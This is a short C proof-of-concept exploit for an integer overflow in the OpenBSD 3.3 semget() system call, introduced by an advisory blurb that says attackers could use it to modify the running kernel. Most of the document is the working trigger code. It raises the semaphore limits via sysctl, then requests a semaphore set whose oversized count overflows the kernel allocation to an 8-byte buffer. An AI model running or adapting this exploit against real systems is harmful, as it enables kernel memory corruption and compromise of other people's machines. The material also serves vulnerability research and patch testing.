84 lines
No EOL
1.8 KiB
C
84 lines
No EOL
1.8 KiB
C
// source: https://www.securityfocus.com/bid/8464/info
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A vulnerability has been discovered in the OpenBSD semget() system call. The problem occurs due to insufficient sanity checks before allocating memory using the user-supplied nsems value as an argument. As a result, an attacker may be capable of modifying the running kernel.
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This vulnerability was introduced in OpenBSD 3.3 and as such, no other versions are affected.
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#include <stdio.h>
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#include <stdlib.h>
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#include <sys/types.h>
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#include <sys/ipc.h>
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#include <sys/sem.h>
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#include <sys/param.h>
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#include <sys/sysctl.h>
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int main(void){
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int sem, nsems, ret;
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int sys_name[3], old_semmns, semmns, old_semmsl, semmsl;
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size_t old_size;
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/*
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* 357913942 * 12 = 100000008 (rounds to 8), so the buffer is 8 bytes
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* long.
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*/
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nsems = 357913942;
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/* set the max semaphores allowed so that nsems is valid */
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sys_name[0] = CTL_KERN;
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sys_name[1] = KERN_SEMINFO;
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sys_name[2] = KERN_SEMINFO_SEMMNS;
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old_size = sizeof(old_semmns);
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ret = sysctl(sys_name, 3, &old_semmns, &old_size, NULL, NULL);
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if(ret < 0){
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perror("sysctl(get semmns)");
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return 1;
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}
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semmns = old_semmns + nsems;
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ret = sysctl(sys_name, 3, &old_semmns, &old_size, &semmns,
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sizeof(semmns));
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if(ret < 0){
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perror("sysctl(semmns)");
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return 1;
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}
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sys_name[0] = CTL_KERN;
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sys_name[1] = KERN_SEMINFO;
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sys_name[2] = KERN_SEMINFO_SEMMSL;
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old_size = sizeof(old_semmsl);
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ret = sysctl(sys_name, 3, &old_semmsl, &old_size, NULL, NULL);
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if(ret < 0){
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perror("sysctl(get semmsl)");
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return 1;
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}
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semmsl = old_semmsl + nsems;
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ret = sysctl(sys_name, 3, &old_semmsl, &old_size, &semmsl,
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sizeof(semmsl));
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if(ret < 0){
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perror("sysctl(semmsl)");
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return 1;
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}
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sem = semget(IPC_PRIVATE, nsems, IPC_CREAT);
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if(sem < 0){
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perror("semget");
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return 1;
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}
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printf("Successfully got a semaphore\n");
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printf("id = %d\n", sem);
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return 0;
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} |